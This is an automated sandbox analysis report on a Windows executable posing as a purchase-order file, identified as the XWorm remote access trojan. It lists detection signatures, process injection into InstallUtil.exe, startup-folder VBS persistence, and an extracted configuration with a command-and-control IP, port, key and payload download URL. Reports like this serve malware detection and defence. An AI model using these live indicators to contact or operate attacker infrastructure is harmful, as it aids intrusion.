Edit tour

Windows Analysis Report
PO-M4590 LIST ALL.exe

Overview

General Information

Sample name:	PO-M4590 LIST ALL.exe
Analysis ID:	1633908
MD5:	985f3c04ab5dec516b8af607024d2bc2
SHA1:	9cbb9e9700ad7df8132d923cd93297184323b8ff
SHA256:	32f9313de2f9bbd302b973cff2027bac0f5a6435445497bab7a1d7b72659f6cf
Tags:	exeuser-threatcat_ch
Infos:

Detection

XWorm

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Yara detected AntiVM3

Yara detected XWorm

.NET source code contains potential unpacker

C2 URLs / IPs found in malware configuration

Drops VBS files to the startup folder

Joe Sandbox ML detected suspicious sample

Sample uses string decryption to hide its real strings

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Drops PE files

Enables debug privileges

HTTP GET or POST without a user agent

IP address seen in connection with other malware

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

PO-M4590 LIST ALL.exe (PID: 8668 cmdline: "C:\Users\user\Desktop\PO-M4590 LIST ALL.exe" MD5: 985F3C04AB5DEC516B8AF607024D2BC2)

InstallUtil.exe (PID: 8952 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

WerFault.exe (PID: 9204 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8952 -s 900 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://cyber.wtf/2025/02/12/unpacking-pyarmor-v8-scripts/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["104.168.34.186"], "Port": 3058, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.3"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1487442486.0000000005ED0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1483123591.0000000003B78000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000003.00000002.2586339554.0000000003231000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.1475477883.0000000002B9E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: PO-M4590 LIST ALL.exe PID: 8668	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: PO-M4590 LIST ALL.exe PID: 8668	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: InstallUtil.exe PID: 8952	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.PO-M4590 LIST ALL.exe.5ed0000.11.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.PO-M4590 LIST ALL.exe.5ed0000.11.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.PO-M4590 LIST ALL.exe.3bd9dca.4.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.PO-M4590 LIST ALL.exe.3bd9dca.4.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.PO-M4590 LIST ALL.exe.3b99daa.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.PO-M4590 LIST ALL.exe.3b79d8a.3.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Click to see the 1 entries

Sigma Signatures

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe, ProcessId: 8668, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TwoDigitYearMax.vbs

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: PO-M4590 LIST ALL.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\TwoDigitYearMax.exe

Avira: detection malicious, Label: HEUR/AGEN.1308665

Found malware configuration

Source: 00000003.00000002.2586339554.0000000003231000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Xworm {"C2 url": ["104.168.34.186"], "Port": 3058, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.3"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\TwoDigitYearMax.exe

ReversingLabs: Detection: 34%

Multi AV Scanner detection for submitted file

Source: PO-M4590 LIST ALL.exe	ReversingLabs: Detection: 34%
Source: PO-M4590 LIST ALL.exe	Virustotal: Detection: 36%			Perma Link

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.2586339554.0000000003231000.00000004.00000800.00020000.00000000.sdmp	String decryptor: 104.168.34.186
Source: 00000003.00000002.2586339554.0000000003231000.00000004.00000800.00020000.00000000.sdmp	String decryptor: 3058
Source: 00000003.00000002.2586339554.0000000003231000.00000004.00000800.00020000.00000000.sdmp	String decryptor: <123456789>
Source: 00000003.00000002.2586339554.0000000003231000.00000004.00000800.00020000.00000000.sdmp	String decryptor: <Xwormmm>
Source: 00000003.00000002.2586339554.0000000003231000.00000004.00000800.00020000.00000000.sdmp	String decryptor: XWorm V5.3
Source: 00000003.00000002.2586339554.0000000003231000.00000004.00000800.00020000.00000000.sdmp	String decryptor: USB.exe

Source: PO-M4590 LIST ALL.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: PO-M4590 LIST ALL.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: InstallUtil.exe, 00000003.00000002.2585716296.0000000001668000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\InstallUtil.pdbM source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016AF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: PO-M4590 LIST ALL.exe, 00000000.00000002.1488227355.0000000006030000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003DF8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ((.pdb source: InstallUtil.exe, 00000003.00000002.2584938631.00000000012F7000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdbP source: InstallUtil.exe, 00000003.00000002.2584938631.00000000012F7000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: PO-M4590 LIST ALL.exe, 00000000.00000002.1488227355.0000000006030000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003DF8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdbllUtil.pdbpdbtil.pdb.30319\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.2584938631.00000000012F7000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003CCF000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1487880496.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.pdb=[a_ source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003CCF000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1487880496.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.2584938631.00000000012F7000.00000004.00000010.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.2585716296.0000000001668000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: InstallUtil.exe, 00000003.00000002.2585716296.0000000001668000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\exe\InstallUtil.pdba# source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\exe\InstallUtil.pdbk source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.pdb source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016AF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @8o.pdb source: InstallUtil.exe, 00000003.00000002.2584938631.00000000012F7000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.pdb0/ source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\InstallUtil.pdbpdbtil.pdbe source: InstallUtil.exe, 00000003.00000002.2585716296.0000000001653000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HP,o8C:\Windows\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.2584938631.00000000012F7000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.PDBl source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.pdb0Hm source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: InstallUtil.exe, 00000003.00000002.2585716296.0000000001668000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \System.pdb source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016C2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ?8oC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.2584938631.00000000012F7000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: symbols\exe\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.2584938631.00000000012F7000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.2585716296.00000000016AF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.pdb source: InstallUtil.exe, 00000003.00000002.2585716296.0000000001653000.00000004.00000020.00020000.00000000.sdmp

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 104.168.34.186

Source: global traffic

HTTP traffic detected: GET /1/12/panel/uploads/Kxemy.dat HTTP/1.1Host: dr16899.ydns.euConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 45.144.214.104 45.144.214.104

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /1/12/panel/uploads/Kxemy.dat HTTP/1.1Host: dr16899.ydns.euConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: dr16899.ydns.eu

Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1475477883.0000000002B71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dr16899.ydns.eu
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1475477883.0000000002B71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dr16899.ydns.eu/1/12/panel/uploads/Kxemy.dat
Source: PO-M4590 LIST ALL.exe, TwoDigitYearMax.exe.0.dr	String found in binary or memory: http://dr16899.ydns.eu/1/12/panel/uploads/Kxemy.datKecg50J3KiKoxqh4B5E.z6dTMBEWo6HdMLMSci
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1475477883.0000000002B71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003CCF000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1487880496.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003CCF000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1487880496.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003CCF000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1487880496.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003CCF000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1487880496.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003CCF000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1487880496.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1475477883.0000000002B9E000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003CCF000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1487880496.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Code function: 0_2_00E7E050	0_2_00E7E050
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Code function: 0_2_00E7A1C8	0_2_00E7A1C8
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Code function: 0_2_00E7A1B9	0_2_00E7A1B9
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Code function: 0_2_00E7A758	0_2_00E7A758
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Code function: 0_2_066FF538	0_2_066FF538
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Code function: 0_2_066E0040	0_2_066E0040
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Code function: 0_2_066FF838	0_2_066FF838
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Code function: 0_2_066E0006	0_2_066E0006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_01534DD8	3_2_01534DD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_01535C58	3_2_01535C58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_01531FB0	3_2_01531FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_01531A88	3_2_01531A88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_01534940	3_2_01534940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_01531D00	3_2_01531D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_01531D28	3_2_01531D28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_015355CD	3_2_015355CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_01535C48	3_2_01535C48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_01534864	3_2_01534864
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 3_2_01531A79	3_2_01531A79

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8952 -s 900

Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003CCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs PO-M4590 LIST ALL.exe
Source: PO-M4590 LIST ALL.exe, 00000000.00000000.1327539856.00000000006D2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameIqiamcx.exe0 vs PO-M4590 LIST ALL.exe
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1487880496.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs PO-M4590 LIST ALL.exe
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1472952888.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs PO-M4590 LIST ALL.exe
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1475477883.0000000003042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs PO-M4590 LIST ALL.exe
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1485128528.0000000005A00000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamePrwksqvvrgk.dll" vs PO-M4590 LIST ALL.exe
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1488227355.0000000006030000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs PO-M4590 LIST ALL.exe
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1475477883.0000000002B9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs PO-M4590 LIST ALL.exe
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs PO-M4590 LIST ALL.exe
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs PO-M4590 LIST ALL.exe
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003DF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs PO-M4590 LIST ALL.exe
Source: PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003DF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameXClient.exe4 vs PO-M4590 LIST ALL.exe
Source: PO-M4590 LIST ALL.exe	Binary or memory string: OriginalFilenameIqiamcx.exe0 vs PO-M4590 LIST ALL.exe

Source: PO-M4590 LIST ALL.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: PO-M4590 LIST ALL.exe, -.cs	Cryptographic APIs: 'CreateDecryptor'
Source: TwoDigitYearMax.exe.0.dr, -.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 0.2.PO-M4590 LIST ALL.exe.3df85d0.5.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.PO-M4590 LIST ALL.exe.3df85d0.5.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.PO-M4590 LIST ALL.exe.3df85d0.5.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.PO-M4590 LIST ALL.exe.3df85d0.5.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'
Source: 0.2.PO-M4590 LIST ALL.exe.3da85b0.0.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.PO-M4590 LIST ALL.exe.3da85b0.0.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'

Source: 0.2.PO-M4590 LIST ALL.exe.3df85d0.5.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.PO-M4590 LIST ALL.exe.3da85b0.0.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.PO-M4590 LIST ALL.exe.3da85b0.0.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.PO-M4590 LIST ALL.exe.3da85b0.0.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.PO-M4590 LIST ALL.exe.3da85b0.0.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.PO-M4590 LIST ALL.exe.3df85d0.5.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.PO-M4590 LIST ALL.exe.3df85d0.5.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PO-M4590 LIST ALL.exe.3da85b0.0.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.PO-M4590 LIST ALL.exe.3da85b0.0.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.PO-M4590 LIST ALL.exe.3df85d0.5.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.PO-M4590 LIST ALL.exe.3df85d0.5.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.PO-M4590 LIST ALL.exe.3df85d0.5.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)

Source: classification engine

Classification label: mal100.troj.expl.evad.winEXE@4/3@1/1

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TwoDigitYearMax.vbs

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9204:64:WilError_03

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\2be8619d-2192-48b5-8ead-7902359581bf

Jump to behavior

Source: PO-M4590 LIST ALL.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: PO-M4590 LIST ALL.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PO-M4590 LIST ALL.exe	ReversingLabs: Detection: 34%
Source: PO-M4590 LIST ALL.exe	Virustotal: Detection: 36%

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe

File read: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe "C:\Users\user\Desktop\PO-M4590 LIST ALL.exe"
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8952 -s 900
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO-M4590 LIST ALL.exe	Section loaded: profapi.dll	Jump to behavior
